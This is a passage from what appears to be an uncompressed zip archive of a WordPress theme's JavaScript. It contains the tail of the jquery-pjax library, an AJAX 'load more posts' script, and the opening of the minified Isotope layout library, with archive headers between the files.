    }

    function parseHTML(html) {
        return $.parseHTML(html, document, true)
    }

// Internal: Extracts container and metadata from response.
//
// 1. Extracts X-PJAX-URL header if set
// 2. Extracts inline <title> tags
// 3. Builds response Element and extracts fragment if set
//
// data    - String response data
// xhr     - XHR response
// options - pjax options Object
//
// Returns an Object with url, title, and contents keys.
    function extractContainer(data, xhr, options) {
        var obj = {}, fullDocument = /<html/i.test(data)

        // Prefer X-PJAX-URL header if it was set, otherwise fallback to
        // using the original requested url.
        var serverUrl = xhr.getResponseHeader('X-PJAX-URL')
        obj.url = serverUrl ? stripInternalParams(parseURL(serverUrl)) : options.requestUrl

        var $head, $body
        // Attempt to parse response html into elements
        if (fullDocument) {
            $body = $(parseHTML(data.match(/<body[^>]*>([\s\S.]*)<\/body>/i)[0]))
            var head = data.match(/<head[^>]*>([\s\S.]*)<\/head>/i)
            $head = head != null ? $(parseHTML(head[0])) : $body
        } else {
            $head = $body = $(parseHTML(data))
        }

        // If response data is empty, return fast
        if ($body.length === 0)
            return obj

        // If there's a <title> tag in the header, use it as
        // the page's title.
        obj.title = findAll($head, 'title').last().text()

        if (options.fragment) {
            var $fragment = $body
            // If they specified a fragment, look for it in the response
            // and pull it out.
            if (options.fragment !== 'body') {
                $fragment = findAll($fragment, options.fragment).first()
            }

            if ($fragment.length) {
                obj.contents = options.fragment === 'body' ? $fragment : $fragment.contents()

                // If there's no title, look for data-title and title attributes
                // on the fragment
                if (!obj.title)
                    obj.title = $fragment.attr('title') || $fragment.data('title')
            }

        } else if (!fullDocument) {
            obj.contents = $body
        }

        // Clean up any <title> tags
        if (obj.contents) {
            // Remove any parent title elements
            obj.contents = obj.contents.not(function () {
                return $(this).is('title')
            })

            // Then scrub any titles from their descendants
            obj.contents.find('title').remove()

            // Gather all script[src] elements
            obj.scripts = findAll(obj.contents, 'script[src]').remove()
            obj.contents = obj.contents.not(obj.scripts)
        }

        // Trim any whitespace off the title
        if (obj.title) obj.title = $.trim(obj.title)

        return obj
    }

// Load an execute scripts using standard script request.
//
// Avoids jQuery's traditional $.getScript which does a XHR request and
// globalEval.
//
// scripts - jQuery object of script Elements
//
// Returns nothing.
    function executeScriptTags(scripts) {
        if (!scripts) return

        var existingScripts = $('script[src]')

        scripts.each(function () {
            var src = this.src
            var matchedScripts = existingScripts.filter(function () {
                return this.src === src
            })
            if (matchedScripts.length) return

            var script = document.createElement('script')
            var type = $(this).attr('type')
            if (type) script.type = type
            script.src = $(this).attr('src')
            document.head.appendChild(script)
        })
    }

// Internal: History DOM caching class.
    var cacheMapping = {}
    var cacheForwardStack = []
    var cacheBackStack = []

// Push previous state id and container contents into the history
// cache. Should be called in conjunction with `pushState` to save the
// previous container contents.
//
// id    - State ID Number
// value - DOM Element to cache
//
// Returns nothing.
    function cachePush(id, value) {
        cacheMapping[id] = value
        cacheBackStack.push(id)

        // Remove all entries in forward history stack after pushing a new page.
        trimCacheStack(cacheForwardStack, 0)

        // Trim back history stack to max cache length.
        trimCacheStack(cacheBackStack, pjax.defaults.maxCacheLength)
    }

// Shifts cache from directional history cache. Should be
// called on `popstate` with the previous state id and container
// contents.
//
// direction - "forward" or "back" String
// id        - State ID Number
// value     - DOM Element to cache
//
// Returns nothing.
    function cachePop(direction, id, value) {
        var pushStack, popStack
        cacheMapping[id] = value

        if (direction === 'forward') {
            pushStack = cacheBackStack
            popStack = cacheForwardStack
        } else {
            pushStack = cacheForwardStack
            popStack = cacheBackStack
        }

        pushStack.push(id)
        id = popStack.pop()
        if (id) delete cacheMapping[id]

        // Trim whichever stack we just pushed to to max cache length.
        trimCacheStack(pushStack, pjax.defaults.maxCacheLength)
    }

// Trim a cache stack (either cacheBackStack or cacheForwardStack) to be no
// longer than the specified length, deleting cached DOM elements as necessary.
//
// stack  - Array of state IDs
// length - Maximum length to trim to
//
// Returns nothing.
    function trimCacheStack(stack, length) {
        while (stack.length > length)
            delete cacheMapping[stack.shift()]
    }

// Public: Find version identifier for the initial page load.
//
// Returns String version or undefined.
    function findVersion() {
        return $('meta').filter(function () {
            var name = $(this).attr('http-equiv')
            return name && name.toUpperCase() === 'X-PJAX-VERSION'
        }).attr('content')
    }

// Install pjax functions on $.pjax to enable pushState behavior.
//
// Does nothing if already enabled.
//
// Examples
//
//     $.pjax.enable()
//
// Returns nothing.
    function enable() {
        $.fn.pjax = fnPjax
        $.pjax = pjax
        $.pjax.enable = $.noop
        $.pjax.disable = disable
        $.pjax.click = handleClick
        $.pjax.submit = handleSubmit
        $.pjax.reload = pjaxReload
        $.pjax.defaults = {
            timeout: 650,
            push: true,
            replace: false,
            type: 'GET',
            dataType: 'html',
            scrollTo: 0,
            maxCacheLength: 20,
            version: findVersion
        }
        $(window).on('popstate.pjax', onPjaxPopstate)
    }

// Disable pushState behavior.
//
// This is the case when a browser doesn't support pushState. It is
// sometimes useful to disable pushState for debugging on a modern
// browser.
//
// Examples
//
//     $.pjax.disable()
//
// Returns nothing.
    function disable() {
        $.fn.pjax = function () {
            return this
        }
        $.pjax = fallbackPjax
        $.pjax.enable = enable
        $.pjax.disable = $.noop
        $.pjax.click = $.noop
        $.pjax.submit = $.noop
        $.pjax.reload = function () {
            window.location.reload()
        }

        $(window).off('popstate.pjax', onPjaxPopstate)
    }


// Add the state property to jQuery's event object so we can use it in
// $(window).bind('popstate')
    if ($.event.props && $.inArray('state', $.event.props) < 0) {
        $.event.props.push('state')
    } else if (!('state' in $.Event.prototype)) {
        $.event.addProp('state')
    }

// Is pjax supported by this browser?
    $.support.pjax =
        window.history && window.history.pushState && window.history.replaceState &&
        // pushState isn't reliable on iOS until 5.
        !navigator.userAgent.match(/((iPod|iPhone|iPad).+\bOS\s+[1-4]\D|WebApps\/.+CFNetwork)/)

    if ($.support.pjax) {
        enable()
    } else {
        disable()
    }

})(jQuery)
PK     N\g%      js/more-post-bg.jsnu [        /* global penciBlock */
/* global penciBlocksArray */
jQuery( document ).ready( function ( $ ) {
	var pagednum;
	jQuery( 'body' ).on( 'click', '.penci-bgajax-more-click .penci-ajax-more-button', function ( event ) {
		event.preventDefault();
		if ( !$( this ).hasClass( 'loading-posts' ) ) {
			var $this = $( this ),
				settings = $this.data( 'settings' ),
				layout = $this.data( 'layout' ),
				mes = $this.data( 'mes' ),
				query_type = $this.data('query_type'),
				archivetype = $this.data('archivetype'),
				archivevalue = $this.data('archivevalue'),
				arppp = $this.data('arppp'),
				cat = $this.data('cat'),
				tag = $this.data('tag'),
				author = $this.data('author'),
				pagednum = $( this ).attr( 'data-pagednum' );

			$this.addClass( 'loading-posts' );
			
			var data = {
				action: 'penci_bgmore_post_ajax',
				settings: settings,
				layout: layout,
				pagednum: pagednum,
				archivetype: archivetype,
				archivevalue: archivevalue,
				query_type: query_type,
				arppp: arppp,
				cat: cat,
				tag: tag,
				author: author,
				nonce: pcbgajax_more_posts.nonce,
			};

			$.ajax( {
				type    : "POST",
				dataType: "html",
				url     : ajax_var_more.url,
				data    : data,
				success : function ( data ) {
					if ( data ) {
						var data_paded = parseInt( pagednum ) + 1,
							$wrap_content = $this.parent().parent().find('.penci-biggrid-data');

						$this.attr( 'data-pagednum', data_paded );
						
						if ( layout === 'style-2' ) {
							var $data = $( data );
							$wrap_content.append( $data ).isotope( 'appended', $data ).imagesLoaded( function () {
								$wrap_content.isotope( 'layout' );
							} );

							if( $().easyPieChart ) {
								$( '.penci-piechart' ).each( function () {
									var $this = $( this );
									$this.one( 'inview', function ( event, isInView, visiblePartX, visiblePartY ) {
										var chart_args = {
											barColor  : $this.data( 'color' ),
											trackColor: $this.data( 'trackcolor' ),
											scaleColor: false,
											lineWidth : $this.data( 'thickness' ),
											size      : $this.data( 'size' ),
											animate   : 1000
										};
										$this.easyPieChart( chart_args );
									} ); // bind inview
								} ); // each
							}
							
							//lazySizes.init();

						} else {
							var $data = $( data );
							if( layout === 'style-1' ){
								$wrap_content.append( $data );
							} else {
								$wrap_content.parent().append( $data );
							}
							
							//lazySizes.init();

							if( $().easyPieChart ) {
								$( '.penci-piechart' ).each( function () {
									var $this = $( this );
									$this.one( 'inview', function ( event, isInView, visiblePartX, visiblePartY ) {
										var chart_args = {
											barColor  : $this.data( 'color' ),
											trackColor: $this.data( 'trackcolor' ),
											scaleColor: false,
											lineWidth : $this.data( 'thickness' ),
											size      : $this.data( 'size' ),
											animate   : 1000
										};
										$this.easyPieChart( chart_args );
									} ); // bind inview
								} ); // each
							}
						}
						
						if ( $().theiaStickySidebar ) {
							var top_margin = 90;
							if( $('body' ).hasClass('admin-bar') ) {
								top_margin = 122;
							}
							$('#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar' ).theiaStickySidebar({
								// settings
								additionalMarginTop: top_margin
							});
						} // if sticky

						$this.removeClass( 'loading-posts' );
						$(document).trigger('penci_bf_check');
						
					} else {
						$this.find( ".ajax-more-text" ).text( mes );
						$this.find( "i" ).remove();
						$this.removeClass( 'loading-posts' );
						setTimeout(function(){
							$this.parent().remove();
						}, 1200);
					}
				},
				error   : function ( jqXHR, textStatus, errorThrown ) {
					console.log( jqXHR + " :: " + textStatus + " :: " + errorThrown );
				}

			} );
		}
	} );
} );
PK     N\X|d      js/isotope.pkgd.min.jsnu [        /*!
 * Isotope PACKAGED v3.0.1
 *
 * Licensed GPLv3 for open source use
 * or Isotope Commercial License for commercial use
 *
 * http://isotope.metafizzy.co
 * Copyright 2016 Metafizzy
 */

!function(t,e){"use strict";"function"==typeof define&&define.amd?define("jquery-bridget/jquery-bridget",["jquery"],function(i){e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("jquery")):t.jQueryBridget=e(t,t.jQuery)}(window,function(t,e){"use strict";function i(i,s,a){function u(t,e,n){var o,s="$()."+i+'("'+e+'")';return t.each(function(t,u){var h=a.data(u,i);if(!h)return void r(i+" not initialized. Cannot call methods, i.e. "+s);var d=h[e];if(!d||"_"==e.charAt(0))return void r(s+" is not a valid method");var l=d.apply(h,n);o=void 0===o?l:o}),void 0!==o?o:t}function h(t,e){t.each(function(t,n){var o=a.data(n,i);o?(o.option(e),o._init()):(o=new s(n,e),a.data(n,i,o))})}a=a||e||t.jQuery,a&&(s.prototype.option||(s.prototype.option=function(t){a.isPlainObject(t)&&(this.options=a.extend(!0,this.options,t))}),a.fn[i]=function(t){if("string"==typeof t){var e=o.call(arguments,1);return u(this,t,e)}return h(this,t),this},n(a))}function n(t){!t||t&&t.bridget||(t.bridget=i)}var o=Array.prototype.slice,s=t.console,r="undefined"==typeof s?function(){}:function(t){s.error(t)};return n(e||t.jQuery),i}),function(t,e){"function"==typeof define&&define.amd?define("ev-emitter/ev-emitter",e):"object"==typeof module&&module.exports?module.exports=e():t.EvEmitter=e()}("undefined"!=typeof window?window:this,function(){function t(){}var e=t.prototype;return e.on=function(t,e){if(t&&e){var i=this._events=this._events||{},n=i[t]=i[t]||[];return-1==n.indexOf(e)&&n.push(e),this}},e.once=function(t,e){if(t&&e){this.on(t,e);var i=this._onceEvents=this._onceEvents||{},n=i[t]=i[t]||{};return n[e]=!0,this}},e.off=function(t,e){var i=this._events&&this._events[t];if(i&&i.length){var n=i.indexOf(e);return-1!=n&&i.splice(n,1),this}},e.emitEvent=function(t,e){var i=this._events&&this._events[t];if(i&&i.length){var n=0,o=i[n];e=e||[];for(var s=this._onceEvents&&this._onceEvents[t];o;){var r=s&&s[o];r&&(this.off(t,o),delete s[o]),o.apply(this,e),n+=r?0:1,o=i[n]}return this}},t}),function(t,e){"use strict";"function"==typeof define&&define.amd?define("get-size/get-size",[],function(){return e()}):"object"==typeof module&&module.exports?module.exports=e():t.getSize=e()}(window,function(){"use strict";function t(t){var e=parseFloat(t),i=-1==t.indexOf("%")&&!isNaN(e);return i&&e}function e(){}function i(){for(var t={width:0,height:0,innerWidth:0,innerHeight:0,outerWidth:0,outerHeight:0},e=0;h>e;e++){var i=u[e];t[i]=0}return t}function n(t){var e=getComputedStyle(t);return e||a("Style returned "+e+". Are you running this code in a hidden iframe on Firefox? See http://bit.ly/getsizebug1"),e}function o(){if(!d){d=!0;var e=document.createElement("div");e.style.width="200px",e.style.padding="1px 2px 3px 4px",e.style.borderStyle="solid",e.style.borderWidth="1px 2px 3px 4px",e.style.boxSizing="border-box";var i=document.body||document.documentElement;i.appendChild(e);var o=n(e);s.isBoxSizeOuter=r=200==t(o.width),i.removeChild(e)}}function s(e){if(o(),"string"==typeof e&&(e=document.querySelector(e)),e&&"object"==typeof e&&e.nodeType){var s=n(e);if("none"==s.display)return i();var a={};a.width=e.offsetWidth,a.height=e.offsetHeight;for(var d=a.isBorderBox="border-box"==s.boxSizing,l=0;h>l;l++){var f=u[l],c=s[f],m=parseFloat(c);a[f]=isNaN(m)?0:m}var p=a.paddingLeft+a.paddingRight,y=a.paddingTop+a.paddingBottom,g=a.marginLeft+a.marginRight,v=a.marginTop+a.marginBottom,_=a.borderLeftWidth+a.borderRightWidth,I=a.borderTopWidth+a.borderBottomWidth,z=d&&r,x=t(s.width);x!==!1&&(a.width=x+(z?0:p+_));var S=t(s.height);return S!==!1&&(a.height=S+(z?0:y+I)),a.innerWidth=a.width-(p+_),a.innerHeight=a.height-(y+I),a.outerWidth=a.width+g,a.outerHeight=a.height+v,a}}var r,a="undefined"==typeof console?e:function(t){console.error(t)},u=["paddingLeft","paddingRight","paddingTop","paddingBottom","marginLeft","marginRight","marginTop","marginBottom","borderLeftWidth","borderRightWidth","borderTopWidth","borderBottomWidth"],h=u.length,d=!1;return s}),function(t,e){"use strict";"function"==typeof define&&define.amd?define("desandro-matches-selector/matches-selector",e):"object"==typeof module&&module.exports?module.exports=e():t.matchesSelector=e()}(window,function(){"use strict";var t=function(){var t=Element.prototype;if(t.matches)return"matches";if(t.matchesSelector)return"matchesSelector";for(var e=["webkit","moz","ms","o"],i=0;i<e.length;i++){var n=e[i],o=n+"MatchesSelector";if(t[o])return o}}();return function(e,i){return e[t](i)}}),function(t,e){"function"==typeof define&&define.amd?define("fizzy-ui-utils/utils",["desandro-matches-selector/matches-selector"],function(i){return e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("desandro-matches-selector")):t.fizzyUIUtils=e(t,t.matchesSelector)}(window,function(t,e){var i={};i.extend=function(t,e){for(var i in e)t[i]=e[i];return t},i.modulo=function(t,e){return(t%e+e)%e},i.makeArray=function(t){var e=[];if(Array.isArray(t))e=t;else if(t&&"number"==typeof t.length)for(var i=0;i<t.length;i++)e.push(t[i]);else e.push(t);return e},i.removeFrom=function(t,e){var i=t.indexOf(e);-1!=i&&t.splice(i,1)},i.getParent=function(t,i){for(;t!=document.body;)if(t=t.parentNode,e(t,i))return t},i.getQueryElement=function(t){return"string"==typeof t?document.querySelector(t):t},i.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},i.filterFindElements=function(t,n){t=i.makeArray(t);var o=[];return t.forEach(function(t){if(t instanceof HTMLElement){if(!n)return void o.push(t);e(t,n)&&o.push(t);for(var i=t.querySelectorAll(n),s=0;s<i.length;s++)o.push(i[s])}}),o},i.debounceMethod=function(t,e,i){var n=t.prototype[e],o=e+"Timeout";t.prototype[e]=function(){var t=this[o];t&&clearTimeout(t);var e=arguments,s=this;this[o]=setTimeout(function(){n.apply(s,e),delete s[o]},i||100)}},i.docReady=function(t){var e=document.readyState;"complete"==e||"interactive"==e?t():document.addEventListener("DOMContentLoaded",t)},i.toDashed=function(t){return t.replace(/(.)([A-Z])/g,function(t,e,i){return e+"-"+i}).toLowerCase()};var n=t.console;return i.htmlInit=function(e,o){i.docReady(function(){var s=i.toDashed(o),r="data-"+s,a=document.querySelectorAll("["+r+"]"),u=document.querySelectorAll(".js-"+s),h=i.makeArray(a).concat(i.makeArray(u)),d=r+"-options",l=t.jQuery;h.forEach(function(t){var i,s=t.getAttribute(r)||t.getAttribute(d);try{i=s&&JSON.parse(s)}catch(a){return void(n&&n.error("Error parsing "+r+" on "+t.className+": "+a))}var u=new e(t,i);l&&l.data(t,o,u)})})},i}),function(t,e){"function"==typeof define&&define.amd?define("outlayer/item",["ev-emitter/ev-emitter","get-size/get-size"],e):"object"==typeof module&&module.exports?module.exports=e(require("ev-emitter"),require("get-size")):(t.Outlayer={},t.Outlayer.Item=e(t.EvEmitter,t.getSize))}(window,function(t,e){"use strict";function i(t){for(var e in t)return!1;return e=null,!0}function n(t,e){t&&(this.element=t,this.layout=e,this.position={x:0,y:0},this._create())}function o(t){return t.replace(/([A-Z])/g,function(t){return"-"+t.toLowerCase()})}var s=document.documentElement.style,r="string"==typeof s.transition?"transition":"WebkitTransition",a="string"==typeof s.transform?"transform":"WebkitTransform",u={WebkitTransition:"webkitTransitionEnd",transition:"transitionend"}[r],h={transform:a,transition:r,transitionDuration:r+"Duration",transitionProperty:r+"Property",transitionDelay:r+"Delay"},d=n.prototype=Object.create(t.prototype);d.constructor=n,d._create=function(){this._transn={ingProperties:{},clean:{},onEnd:{}},this.css({position:"absolute"})},d.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},d.getSize=function(){this.size=e(this.element)},d.css=function(t){var e=this.element.style;for(var i in t){var n=h[i]||i;e[n]=t[i]}},d.getPosition=function(){var t=getComputedStyle(this.element),e=this.layout._getOption("originLeft"),i=this.layout._getOption("originTop"),n=t[e?"left":"right"],o=t[i?"top":"bottom"],s=this.layout.size,r=-1!=n.indexOf("%")?parseFloat(n)/100*s.width:parseInt(n,10),a=-1!=o.indexOf("%")?parseFloat(o)/100*s.height:parseInt(o,10);r=isNaN(r)?0:r,a=isNaN(a)?0:a,r-=e?s.paddingLeft:s.paddingRight,a-=i?s.paddingTop:s.paddingBottom,this.position.x=r,this.position.y=a},d.layoutPosition=function(){var t=this.layout.size,e={},i=this.layout._getOption("originLeft"),n=this.layout._getOption("originTop"),o=i?"paddingLeft":"paddingRight",s=i?"left":"right",r=i?"right":"left",a=this.position.x+t[o];e[s]=this.getXValue(a),e[r]="";var u=n?"paddingTop":"paddingBottom",h=n?"top":"bottom",d=n?"bottom":"top",l=this.position.y+t[u];e[h]=this.getYValue(l),e[d]="",this.css(e),this.emitEvent("layout",[this])},d.getXValue=function(t){var e=this.layout._getOption("horizontal");return this.layout.options.percentPosition&&!e?t/this.layout.size.width*100+"%":t+"px"},d.getYValue=function(t){var e=this.layout._getOption("horizontal");return this.layout.options.percentPosition&&e?t/this.layout.size.height*100+"%":t+"px"},d._transitionTo=function(t,e){this.getPosition();var i=this.position.x,n=this.position.y,o=parseInt(t,10),s=parseInt(e,10),r=o===this.position.x&&s===this.position.y;if(this.setPosition(t,e),r&&!this.isTransitioning)return void this.layoutPosition();var a=t-i,u=e-n,h={};h.transform=this.getTranslate(a,u),this.transition({to:h,onTransitionEnd:{transform:this.layoutPosition},isCleaning:!0})},d.getTranslate=function(t,e){var i=this.layout._getOption("originLeft"),n=this.layout._getOption("originTop");return t=i?t:-t,e=n?e:-e,"translate3d("+t+"px, "+e+"px, 0)"},d.goTo=function(t,e){this.setPosition(t,e),this.layoutPosition()},d.moveTo=d._transitionTo,d.setPosition=function(t,e){this.position.x=parseInt(t,10),this.position.y=parseInt(e,10)},d._nonTransition=function(t){this.css(t.to),t.isCleaning&&this._removeStyles(t.to);for(var e in t.onTransitionEnd)t.onTransitionEnd[e].call(this)},d.transition=function(t){if(!parseFloat(this.layout.options.transitionDuration))return void this._nonTransition(t);var e=this._transn;for(var i in t.onTransitionEnd)e.onEnd[i]=t.onTransitionEnd[i];for(i in t.to)e.ingProperties[i]=!0,t.isCleaning&&(e.clean[i]=!0);if(t.from){this.css(t.from);var n=this.element.offsetHeight;n=null}this.enableTransition(t.to),this.css(t.to),this.isTransitioning=!0};var l="opacity,"+o(a);d.enableTransition=function(){if(!this.isTransitioning){var t=this.layout.options.transitionDuration;t="number"==typeof t?t+"ms":t,this.css({transitionProperty:l,transitionDuration:t,transitionDelay:this.staggerDelay||0}),this.element.addEventListener(u,this,!1)}},d.onwebkitTransitionEnd=function(t){this.ontransitionend(t)},d.onotransitionend=function(t){this.ontransitionend(t)};var f={"-webkit-transform":"transform"};d.ontransitionend=function(t){if(t.target===this.element){var e=this._transn,n=f[t.propertyName]||t.propertyName;if(delete e.ingProperties[n],i(e.ingProperties)&&this.disableTransition(),n in e.clean&&(this.element.style[t.propertyName]="",delete e.clean[n]),n in e.onEnd){var o=e.onEnd[n];o.call(this),delete e.onEnd[n]}this.emitEvent("transitionEnd",[this])}},d.disableTransition=function(){this.removeTransitionStyles(),this.element.removeEventListener(u,this,!1),this.isTransitioning=!1},d._removeStyles=function(t){var e={};for(var i in t)e[i]="";this.css(e)};var c={transitionProperty:"",transitionDuration:"",transitionDelay:""};return d.removeTransitionStyles=function(){this.css(c)},d.stagger=function(t){t=isNaN(t)?0:t,this.staggerDelay=t+"ms"},d.removeElem=function(){this.element.parentNode.removeChild(this.element),this.css({display:""}),this.emitEvent("remove",[this])},d.remove=function(){return r&&parseFloat(this.layout.options.transitionDuration)?(this.once("transitionEnd",function(){this.removeElem()}),void this.hide()):void this.removeElem()},d.reveal=function(){delete this.isHidden,this.css({display:""});var t=this.layout.options,e={},i=this.getHideRevealTransitionEndProperty("visibleStyle");e[i]=this.onRevealTransitionEnd,this.transition({from:t.hiddenStyle,to:t.visibleStyle,isCleaning:!0,onTransitionEnd:e})},d.onRevealTransitionEnd=function(){this.isHidden||this.emitEvent("reveal")},d.getHideRevealTransitionEndProperty=function(t){var e=this.layout.options[t];if(e.opacity)return"opacity";for(var i in e)return i},d.hide=function(){this.isHidden=!0,this.css({display:""});var t=this.layout.options,e={},i=this.getHideRevealTransitionEndProperty("hiddenStyle");e[i]=this.onHideTransitionEnd,this.transition({from:t.visibleStyle,to:t.hiddenStyle,isCleaning:!0,onTransitionEnd:e})},d.onHideTransitionEnd=function(){this.isHidden&&(this.css({display:"none"}),this.emitEvent("hide"))},d.destroy=function(){this.css({position:"",left:"",right:"",top:"",bottom:"",transition:"",transform:""})},n}),function(t,e){"use strict";"function"==typeof define&&define.amd?define("outlayer/outlayer",["ev-emitter/ev-emitter","get-size/get-size","fizzy-ui-utils/utils","./item"],function(i,n,o,s){return e(t,i,n,o,s)}):"object"==typeof module&&module.exports?module.exports=e(t,require("ev-emitter"),require("get-size"),require("fizzy-ui-utils"),require("./item")):t.Outlayer=e(t,t.EvEmitter,t.getSize,t.fizzyUIUtils,t.Outlayer.Item)}(window,function(t,e,i,n,o){"use strict";function s(t,e){var i=n.getQueryElement(t);if(!i)return void(u&&u.error("Bad element for "+this.constructor.namespace+": "+(i||t)));this.element=i,h&&(this.$element=h(this.element)),this.options=n.extend({},this.constructor.defaults),this.option(e);var o=++l;this.element.outlayerGUID=o,f[o]=this,this._create();var s=this._getOption("initLayout");s&&this.layout()}function r(t){function e(){t.apply(this,arguments)}return e.prototype=Object.create(t.prototype),e.prototype.constructor=e,e}function a(t){if("number"==typeof t)return t;var e=t.match(/(^\d*\.?\d*)(\w*)/),i=e&&e[1],n=e&&e[2];if(!i.length)return 0;i=parseFloat(i);var o=m[n]||1;return i*o}var u=t.console,h=t.jQuery,d=function(){},l=0,f={};s.namespace="outlayer",s.Item=o,s.defaults={containerStyle:{position:"relative"},initLayout:!0,originLeft:!0,originTop:!0,resize:!0,resizeContainer:!0,transitionDuration:"0.4s",hiddenStyle:{opacity:0,transform:"scale(0.001)"},visibleStyle:{opacity:1,transform:"scale(1)"}};var c=s.prototype;n.extend(c,e.prototype),c.option=function(t){n.extend(this.options,t)},c._getOption=function(t){var e=this.constructor.compatOptions[t];return e&&void 0!==this.options[e]?this.options[e]:this.options[t]},s.compatOptions={initLayout:"isInitLayout",horizontal:"isHorizontal",layoutInstant:"isLayoutInstant",originLeft:"isOriginLeft",originTop:"isOriginTop",resize:"isResizeBound",resizeContainer:"isResizingContainer"},c._create=function(){this.reloadItems(),this.stamps=[],this.stamp(this.options.stamp),n.extend(this.element.style,this.options.containerStyle);var t=this._getOption("resize");t&&this.bindResize()},c.reloadItems=function(){this.items=this._itemize(this.element.children)},c._itemize=function(t){for(var e=this._filterFindItemElements(t),i=this.constructor.Item,n=[],o=0;o<e.length;o++){var s=e[o],r=new i(s,this);n.push(r)}return n},c._filterFindItemElements=function(t){return n.filterFindElements(t,this.options.itemSelector)},c.getItemElements=function(){return this.items.map(function(t){return t.element})},c.layout=function(){this._resetLayout(),this._manageStamps();var t=this._getOption("layoutInstant"),e=void 0!==t?t:!this._isLayoutInited;this.layoutItems(this.items,e),this._isLayoutInited=!0},c._init=c.layout,c._resetLayout=function(){this.getSize()},c.getSize=function(){this.size=i(this.element)},c._getMeasurement=function(t,e){var n,o=this.options[t];o?("string"==typeof o?n=this.element.querySelector(o):o instanceof HTMLElement&&(n=o),this[t]=n?i(n)[e]:o):this[t]=0},c.layoutItems=function(t,e){t=this._getItemsForLayout(t),this._layoutItems(t,e),this._postLayout()},c._getItemsForLayout=function(t){return t.filter(function(t){return!t.isIgnored})},c._layoutItems=function(t,e){if(this._emitCompleteOnItems("layout",t),t&&t.length){var i=[];t.forEach(function(t){var n=this._getItemLayoutPosition(t);n.item=t,n.isInstant=e||t.isLayoutInstant,i.push(n)},this),this._processLayoutQueue(i)}},c._getItemLayoutPosition=function(){return{x:0,y:0}},c._processLayoutQueue=function(t){this.updateStagger(),t.forEach(function(t,e){this._positionItem(t.item,t.x,t.y,t.isInstant,e)},this)},c.updateStagger=function(){var t=this.options.stagger;return null===t||void 0===t?void(this.stagger=0):(this.stagger=a(t),this.stagger)},c._positionItem=function(t,e,i,n,o){n?t.goTo(e,i):(t.stagger(o*this.stagger),t.moveTo(e,i))},c._postLayout=function(){this.resizeContainer()},c.resizeContainer=function(){var t=this._getOption("resizeContainer");if(t){var e=this._getContainerSize();e&&(this._setContainerMeasure(e.width,!0),this._setContainerMeasure(e.height,!1))}},c._getContainerSize=d,c._setContainerMeasure=function(t,e){if(void 0!==t){var i=this.size;i.isBorderBox&&(t+=e?i.paddingLeft+i.paddingRight+i.borderLeftWidth+i.borderRightWidth:i.paddingBottom+i.paddingTop+i.borderTopWidth+i.borderBottomWidth),t=Math.max(t,0),this.element.style[e?"width":"height"]=t+"px"}},c._emitCompleteOnItems=function(t,e){function i(){o.dispatchEvent(t+"Complete",null,[e])}function n(){r++,r==s&&i()}var o=this,s=e.length;if(!e||!s)return void i();var r=0;e.forEach(function(e){e.once(t,n)})},c.dispatchEvent=function(t,e,i){var n=e?[e].concat(i):i;if(this.emitEvent(t,n),h)if(this.$element=this.$element||h(this.element),e){var o=h.Event(e);o.type=t,this.$element.trigger(o,i)}else this.$element.trigger(t,i)},c.ignore=function(t){var e=this.getItem(t);e&&(e.isIgnored=!0)},c.unignore=function(t){var e=this.getItem(t);e&&delete e.isIgnored},c.stamp=function(t){t=this._find(t),t&&(this.stamps=this.stamps.concat(t),t.forEach(this.ignore,this))},c.unstamp=function(t){t=this._find(t),t&&t.forEach(function(t){n.removeFrom(this.stamps,t),this.unignore(t)},this)},c._find=function(t){return t?("string"==typeof t&&(t=this.element.querySelectorAll(t)),t=n.makeArray(t)):void 0},c._manageStamps=function(){this.stamps&&this.stamps.length&&(this._getBoundingRect(),this.stamps.forEach(this._manageStamp,this))},c._getBoundingRect=function(){var t=this.element.getBoundingClientRect(),e=this.size;this._boundingRect={left:t.left+e.paddingLeft+e.borderLeftWidth,top:t.top+e.paddingTop+e.borderTopWidth,right:t.right-(e.paddingRight+e.borderRightWidth),bottom:t.bottom-(e.paddingBottom+e.borderBottomWidth)}},c._manageStamp=d,c._getElementOffset=function(t){var e=t.getBoundingClientRect(),n=this._boundingRect,o=i(t),s={left:e.left-n.left-o.marginLeft,top:e.top-n.top-o.marginTop,right:n.right-e.right-o.marginRight,bottom:n.bottom-e.bottom-o.marginBottom};return s},c.handleEvent=n.handleEvent,c.bindResize=function(){t.addEventListener("resize",this),this.isResizeBound=!0},c.unbindResize=function(){t.removeEventListener("resize",this),this.isResizeBound=!1},c.onresize=function(){this.resize()},n.debounceMethod(s,"onresize",100),c.resize=function(){this.isResizeBound&&this.needsResizeLayout()&&this.layout()},c.needsResizeLayout=function(){var t=i(this.element),e=this.size&&t;return e&&t.innerWidth!==this.size.innerWidth},c.addItems=function(t){var e=this._itemize(t);return e.length&&(this.items=this.items.concat(e)),e},c.appended=function(t){var e=this.addItems(t);e.length&&(this.layoutItems(e,!0),this.reveal(e))},c.prepended=function(t){var e=this._itemize(t);if(e.length){var i=this.items.slice(0);this.items=e.concat(i),this._resetLayout(),this._manageStamps(),this.layoutItems(e,!0),this.reveal(e),this.layoutItems(i)}},c.reveal=function(t){if(this._emitCompleteOnItems("reveal",t),t&&t.length){var e=this.updateStagger();t.forEach(function(t,i){t.stagger(i*e),t.reveal()})}},c.hide=function(t){if(this._emitCompleteOnItems("hide",t),t&&t.length){var e=this.updateStagger();t.forEach(function(t,i){t.stagger(i*e),t.hide()})}},c.revealItemElements=function(t){var e=this.getItems(t);this.reveal(e)},c.hideItemElements=function(t){var e=this.getItems(t);this.hide(e)},c.getItem=function(t){for(var e=0;e<this.items.length;e++){var i=this.items[e];if(i.element==t)return i}},c.getItems=function(t){t=n.makeArray(t);var e=[];return t.forEach(function(t){var i=this.getItem(t);i&&e.push(i)},this),e},c.remove=function(t){var e=this.getItems(t);this._emitCompleteOnItems("remove",e),e&&e.length&&e.forEach(function(t){t.remove(),n.removeFrom(this.items,t)},this)},c.destroy=function(){var t=this.element.style;t.height="",t.position="",t.width="",this.items.forEach(function(t){t.destroy()}),this.unbindResize();var e=this.element.outlayerGUID;delete f[e],delete this.element.outlayerGUID,h&&h.removeData(this.element,this.constructor.namespace)},s.data=function(t){t=n.getQueryElement(t);var e=t&&t.outlayerGUID;return e&&f[e]},s.create=function(t,e){var i=r(s);return 